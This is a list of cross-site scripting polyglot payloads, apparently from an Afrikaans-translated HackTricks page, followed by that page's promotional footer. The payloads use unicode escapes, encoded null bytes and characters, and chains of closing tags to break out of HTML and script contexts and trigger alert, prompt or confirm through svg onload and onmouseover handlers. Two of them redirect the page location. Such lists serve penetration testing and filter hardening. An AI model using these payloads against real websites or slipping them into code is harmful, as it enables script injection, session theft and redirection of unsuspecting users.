-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">`
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=document.location=`//localhost/mH`//>
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud GitHub-opslagplekke.